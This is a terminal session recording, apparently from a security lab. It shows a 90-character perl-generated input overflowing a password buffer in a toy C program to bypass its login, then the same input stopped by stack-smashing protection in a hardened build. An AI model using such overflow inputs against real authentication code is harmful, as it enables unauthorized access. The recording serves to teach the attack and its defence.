Script started on Thu 24 Feb 2022 10:34:10 AM CST
[?1034hbash-4.2$ ./vulnerable_capp

Enter the password now: aaaa

Login failure

suppliedPassword: aaaa
sizeof(suppliedPassword) = 20
strlen(suppliedPassword) = 4
correctPassword: aaaaabbbbbccccc
sizeof(correctPassword) = 20
strlen(correctPassword) = 15

bash-4.2$ ./vulnerable_capp

Enter the password now: aaaaabbbbbccccc

Login successful

suppliedPassword: aaaaabbbbbccccc
sizeof(suppliedPassword) = 20
strlen(suppliedPassword) = 15
correctPassword: aaaaabbbbbccccc
sizeof(correctPassword) = 20
strlen(correctPassword) = 15

bash-4.2$ perl -e 'print "a"x90' | ./vulnerable_capp

Enter the password now: 
Login successful

suppliedPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
sizeof(suppliedPassword) = 20
strlen(suppliedPassword) = 90
correctPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
sizeof(correctPassword) = 20
strlen(correctPassword) = 58

Segmentation fault
bash-4.2$ ./protected_capp

Enter the password now: aaaa

Login failure

suppliedPassword: aaaa
sizeof(suppliedPassword) = 20
strlen(suppliedPassword) = 4
correctPassword: aaaaabbbbbccccc
sizeof(correctPassword) = 20
strlen(correctPassword) = 15

bash-4.2$ ./protected_capp
[C[C[C[C[C[C[C[C[C[Cperl -e 'print "a"x90' | ./vulnerable_capp
[C[C[C[C[C[C[C[C[C[C[26P./protected_capp

Enter the password now: aaaaabbbbbccccc

Login successful

suppliedPassword: aaaaabbbbbccccc
sizeof(suppliedPassword) = 20
strlen(suppliedPassword) = 15
correctPassword: aaaaabbbbbccccc
sizeof(correctPassword) = 20
strlen(correctPassword) = 15

bash-4.2$ perl -e 'print "a"x90' | ./protected_capp

Enter the password now: 
Login failure

suppliedPassword: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
sizeof(suppliedPassword) = 20
strlen(suppliedPassword) = 90
correctPassword: aaaaabbbbbccccc
sizeof(correctPassword) = 20
strlen(correctPassword) = 15

*** stack smashing detected ***: ./protected_capp terminated
Segmentation fault
bash-4.2$ exit
exit

Script done on Thu 24 Feb 2022 10:36:25 AM CST
